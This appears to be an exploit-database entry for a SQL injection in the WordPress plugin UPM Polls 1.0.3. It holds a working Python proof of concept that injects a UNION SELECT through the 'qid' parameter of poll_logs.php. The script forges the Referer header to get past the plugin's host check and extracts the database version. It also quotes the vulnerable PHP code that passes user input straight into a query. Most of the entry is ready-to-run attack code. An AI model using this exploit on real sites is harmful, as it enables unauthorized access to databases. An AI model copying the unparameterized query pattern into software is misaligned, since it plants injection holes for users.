WordPress Plugin UPM Polls 1.0.3 – SQL Injection
# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability # Date: 2011-08-06 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip # Version: 1.0.3 (tested) --- PoC --- #!/bin/python import re import urllib2 import urlparse url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") req = urllib2.Request(url=url, headers={"Referer": url}) content = urllib2.urlopen(req).read() match = re.search(r"`(.+)`", content) print match.group(1) if match else "None" --------------- Vulnerable code --------------- $ref = parse_url( $_SERVER['HTTP_REFERER'] ); if( $_SERVER["HTTP_HOST"] != $ref['host'] ){ exit('UPM Error:128'); } ... $QID = $_GET['qid']; $POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A); |